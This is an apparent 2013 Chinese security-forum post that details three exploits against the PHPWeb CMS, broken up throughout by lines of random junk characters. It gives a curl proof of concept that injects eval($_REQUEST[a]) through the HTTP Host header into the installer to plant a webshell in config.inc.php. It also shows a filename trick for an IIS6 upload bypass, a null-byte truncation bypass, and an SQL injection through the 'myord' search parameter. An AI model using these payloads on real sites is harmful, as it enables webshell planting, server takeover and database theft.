中国网络渗透测试联盟
标题:
phpweb成品网站最新版(注入、上传、写shell)
[打印本页]
作者:
admin
时间:
2013-1-4 19:45
标题:
phpweb成品网站最新版(注入、上传、写shell)
注入:
% \; Y9 e: N* d
) S+ J# C1 \' \& w
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
: ]0 L# X9 n( M
& \3 }) b/ F6 ]' J) W1 L" n7 R4 Q
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
" p N2 t% t' A
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
! @8 c* m" X4 L8 d
/ @( [* [: B- R+ s9 e: F
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
) J; y; K; }+ E- Q
9 R. C- S4 Z& b: d9 ], \
分析:
. H5 k5 o/ w& o2 f
0 {' m8 W9 x. n, c( u, C5 o
7 G* F* J8 X6 I
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
x9 @. G9 X i8 ]1 C
: C0 z1 H8 w; X+ X
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
) [9 k; k% P8 k% T8 O$ j0 A
$filestr=str_replace(" ","",$filestr);
6 e( y) |' _$ m5 |* x0 q9 a) v0 u+ ?
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
! E" j* `0 e: n. q0 d% K9 i' B' H
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
. Y6 B7 ^+ V V
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
; t0 P$ S3 i: j6 j4 A! P3 H
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
* b; k( H+ o1 b, L2 ]4 U1 x
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
$ f, h0 P5 S. n. [9 M. g
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
$ Q5 l) R& U; m; Z
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
8 m; [! }; C: g, K T9 Q% m
6 G; c# O1 v6 ]7 u+ C/ ]; m
fwrite(fopen($ConFile,"w"),$filestr,30000);
! O; F- M' L1 b- ^, M7 f R& ]
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
, \6 {& s0 Q$ N; F/ V1 T2 B
3 T% v2 G6 F6 w; Z% z3 ^- v8 K
poc:
# f T3 q+ |' u
$ d/ v1 N! v( O F3 i
?
2 O1 ~* x( b% q& d/ t; C' i
1
' f+ v7 [1 t$ S3 I. C2 M& W* ~
curl
http://fuck.0day5.com/base/install/index.php
--data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
7 a7 l& S0 T! f, i
shell地址: /config.inc.php
7 O1 G1 _7 }+ y
跟之前的 phpcms一样 需要远程数据库
3 x& M$ j$ j1 M( @& K
$ V/ b5 Q" a% p8 [- h
——————————————————–
% F" ]* T, s; W$ S* B# j
上传漏洞(需要进后台):
7 W1 a3 V# _; @6 ~# S# R' @
漏洞文件: /kedit/upload_cgi/upload.php
' G9 p7 q5 ?3 ? f
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
; Y7 v3 X7 m( O& Z
2 I$ j* R8 L: ]2 Q, ^5 i
0 f1 ?! y' T; P1 B1 l
<?php
: i% @; h5 W9 E9 }
define("ROOTPATH", "../../");
. G o3 Y' e! u; d1 u h% t
include(ROOTPATH."includes/admin.inc.php");
# J/ ^* G: _$ m9 @
NeedAuth(0);
3 r& b* P" ] \1 t! t
# _4 O f4 P2 H$ K2 A. S
$dt=date("Ymd",time());
" ^6 T3 d# c2 x9 M' B5 z$ @) R3 F
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
, q- l( [7 L+ P9 f0 T& S
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
6 I8 a+ a+ j- N* u" F2 h
}
P) m. x* V# l* N
7 _8 `7 U- s% E, L: a4 w7 h& ?
//文件保存目录路径
9 u/ I) O% }; C. t2 C
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
% T. p4 H. V; Z ~
echo $save_path;
4 J7 s4 [9 m @
//文件保存目录URL
: C( a- ]( G3 M" I2 G! p
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
# Y! ~6 V- y* U1 @* H
; Q5 Y, I; [/ D
//定义允许上传的文件扩展名
+ K& z" @0 m$ F6 D, h0 q3 O; j! P; S3 w# a
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
* j$ ]- z8 ]1 g. v/ S
7 ?! e1 U4 q3 P0 ~7 m
//最大文件大小
% K' |6 M6 c! s/ h$ `" E
$max_size = 1000000;
" L/ o8 s7 P$ ?, \
' D g! R+ D7 c
//更改目录权限
$ Z s9 a1 o& w0 F; b' P& l
@mkdir($save_path, 0777);
+ x! x4 [% I# e- g" r* t
; @, F: }, y, R4 D( i6 f
//文件的全部路径
* o+ q" ?; L" {& i1 x
$file_path = $save_path.$_POST['fileName']; //保存文件名
7 j* h' c0 E( d4 z" O
6 \) J: C6 _7 ^
//文件URL
) v/ W+ j( e, H" f& |8 Z
$file_url = $save_url.$_POST['fileName'];
& i( S$ { F1 K( E% ?0 N
//有上传文件时
9 ~' Z7 [9 L8 v7 r- p# Q6 L
if (empty($_FILES) === false) {
/ R( \6 V# ?* H/ `5 h
9 R1 U9 b' @, A2 J. M5 G7 o' H
//原文件名
" c+ J- |% |8 g( f
$file_name = $_FILES['fileData']['name'];
$ Z* a- f6 e' \/ ]
//服务器上临时文件名
0 w4 ~ I9 @8 h3 u
$tmp_name = $_FILES['fileData']['tmp_name'];
" S) Y% R$ J5 R6 @% [
//文件大小
' o& o1 c& F& M: l: d
$file_size = $_FILES['fileData']['size'];
& J- g3 ?4 z7 u4 h9 e: k
//检查目录
' C8 l1 o- @3 t+ x
if (@is_dir($save_path) === false) {
$ d& I/ G. D/ S# f. C- i& V
alert("上传目录不存在。");
8 L% j" E( B# R6 ?" x, E( m
}
& j# A- v7 ?- I) |& x" V) o
//检查目录写权限
1 j% b0 d/ F7 a
if (@is_writable($save_path) === false) {
7 v$ I1 t& w# D5 x) a( P
alert("上传目录没有写权限。");
+ K3 [: N7 [7 L: B5 ^' e
}
' l; [/ \3 V8 M$ E
//检查是否已上传
* p+ u! u& n9 X
if (@is_uploaded_file($tmp_name) === false) {
3 Z% y# q! [6 U$ i5 B7 [4 K2 {
alert("临时文件可能不是上传文件。");
: E7 C5 `% e- s5 w
}
# k( `! G7 [7 O5 k* H" {8 ]% X
//检查文件大小
% S. `$ `# ]* {, O3 H
if ($file_size > $max_size) {
" v2 U+ ~9 A6 x" r$ L! T
alert("上传文件大小超过限制。");
I8 |) w+ s. r. H' s! Z
}
* M8 }+ l. a1 M5 {$ W& i3 q0 h
//获得文件扩展名
8 X7 R+ `* }/ h! M7 c
$temp_arr = explode(".", $_POST['fileName']);
6 v# ~0 l; N& l7 [( V
$file_ext = array_pop($temp_arr);
3 F! { b) v" q
$file_ext = trim($file_ext);
& y2 D% a3 \) c5 Z2 S* m. U" o9 F1 N
$file_ext = strtolower($file_ext);
_' o9 ^% w# |; F) t% P
% l; v& i) z8 J7 m+ R
//检查扩展名
, W8 n# Y" ] ]& \5 R6 ~! t# K
if (in_array($file_ext, $ext_arr) === false) {
" N9 A+ A( Q' [5 {+ {. ^
alert("上传文件扩展名是不允许的扩展名。");
9 \9 S( _6 g& ]# \5 w5 g% f c
}
6 ]- {( ^3 R5 U6 e
# v/ ]6 Q) m/ ?: b, N
//移动文件
. [7 h" |2 R% G3 _. N9 I
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
) X. j6 ?! |' S1 Z8 L
if (move_uploaded_file($tmp_name, $file_path) === false) {
( m) O; z7 d% V
alert("上传文件失败。");
1 x+ L7 A2 F% r& f, y" @+ x/ {
}
3 o3 |3 J+ E0 Q0 K# d) z* [, N
( ^ ?7 @, N" x" H! A; i
@chmod($file_path,0666);
; I$ T7 t( `, [" ^* F
7 O. k0 x }+ N( }+ q1 y6 h
?>
7 q* O# f1 b ?# W1 q* W# \0 h
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用
http://www.0day5.com/?p=227
3 ~3 r! ^+ q$ ]0 X0 O" b! j
1 w4 D& b" v* r0 w
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
/ y5 s7 Y( z: F2 I x0 V- ?
( g' y. M& z/ N9 [: K( W7 A! Y
——————————————————
9 k$ V1 t6 G- ~+ h w
注入漏洞:
; b, o( k% Y* @4 ]2 P: q
漏洞文件:search/module/search.php
. H1 C# C( S; I4 u- ~
/search/index.php?key=1&myord=1 [sqlinjection]
; {8 s/ G' V5 q" O8 t3 @- b/ C: n* ^
`2 I" @3 D- U2 V+ J
6 j( w( u$ Z) {) ^, c: ?# Y- X' q, O
<?php
& G; |. H; n+ o; k' d P3 a4 e0 o
// ... 省略 n 行...
) U& Q" c1 j) G S5 V3 @" ?4 d
//第18行:
5 w- H" V2 }# E
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
. g7 a# j# }* _7 c6 `7 O! ]
$page=htmlspecialchars($_GET["page"]);
% s- J2 l2 f( J6 d" ^3 ^
$myord=htmlspecialchars($_GET["myord"]);
- y4 m& a# J k( M# t/ H
+ v. n8 ^: ^7 c
// ... 省略 n 行...
& O: F; v5 w, r: r9 @$ z: \
$key,$myord 两个参数带入查询
8 v. Q7 h) Q, s4 O) Q6 h4 h. C
//第47行 $key:
" \6 a4 z& y3 M/ `
/ N0 `' c- X" l# I, L- Y& s7 `
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
4 K$ W$ x( ?* L- O& [0 C" d
+ k& x' z2 o( w6 w# g, I
//第197行 $myord
% r5 Z' E( V0 |# L
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
8 m2 i- T8 l* q l0 w
/ t C- K, m/ O
?>
& O! f4 ^& Z7 P
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2